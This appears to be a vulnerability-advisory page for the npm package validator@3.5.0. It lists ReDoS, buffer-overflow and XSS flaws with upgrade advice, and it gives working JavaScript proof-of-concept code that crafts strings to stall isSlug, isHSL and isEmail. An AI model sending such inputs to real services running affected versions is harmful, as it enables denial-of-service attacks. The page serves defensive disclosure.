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validator@3.5.0 vulnerabilities

String validation and sanitization

  • latest version

    13.12.0

  • latest non vulnerable version

    13.12.0

  • first published

    13 years ago

  • latest version published

    7 months ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the validator package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function

    PoC

    var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade validator to version 13.6.0 or higher.

    <13.6.0
    • M
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

    PoC

    var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade validator to version 13.6.0 or higher.

    <13.6.0
    • M
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

    PoC

    var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade validator to version 13.6.0 or higher.

    <13.6.0
    • M
    Buffer Overflow

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Buffer Overflow. It used a regular expression (/^(?:[A-Z0-9+\/]{4})*(?:[A-Z0-9+\/]{2}==|[A-Z0-9+\/]{3}=|[A-Z0-9+\/]{4})$/i) in order to validate Base64 strings.

    How to fix Buffer Overflow?

    Upgrade validator to version 5.0.0 or higher.

    <5.0.0
    • M
    Cross-site Scripting (XSS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in IE9 due to unescaped backticks.

    How to fix Cross-site Scripting (XSS)?

    Upgrade validator to version 3.35.0 or higher.

    >=3.0.0 <3.34.0
    • H
    Regular Expression Denial of Service (ReDoS)

    validator is a library of string validators and sanitizers.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. It used a regular expression in order to validate URLs.

    How to fix Regular Expression Denial of Service (ReDoS)?

    Update to version 3.22.1 or greater.

    >=0.1.0 <3.22.1
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